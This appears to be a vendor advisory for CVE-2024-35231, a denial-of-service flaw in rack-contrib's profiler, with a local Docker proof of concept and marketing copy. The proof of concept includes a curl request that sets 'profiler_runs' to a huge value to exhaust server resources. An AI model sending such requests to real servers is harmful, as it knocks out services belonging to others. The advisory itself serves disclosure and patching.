Summary
rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.
PoC
Herein the config.ru file:
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
A Dockerfile:
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
A Gemfile
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
A Docker compose
services:
app:
build:
context: .
ports:
- "9292:9292"
To run the PoC
docker compose up --build
To exploit DoS:
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
Impact
- Potential denial of service by remotely user-controlled data.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2024-35231 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.5.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-35231? CVE-2024-35231 is a high-severity allocation of resources without limits or throttling vulnerability in rack-contrib (rubygems), affecting versions < 2.5.0. It is fixed in 2.5.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2024-35231? CVE-2024-35231 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of rack-contrib are affected by CVE-2024-35231? rack-contrib (rubygems) versions < 2.5.0 is affected.
- Is there a fix for CVE-2024-35231? Yes. CVE-2024-35231 is fixed in 2.5.0. Upgrade to this version or later.
- Is CVE-2024-35231 exploitable, and should I be worried? Whether CVE-2024-35231 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-35231 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-35231? Upgrade
rack-contribto 2.5.0 or later.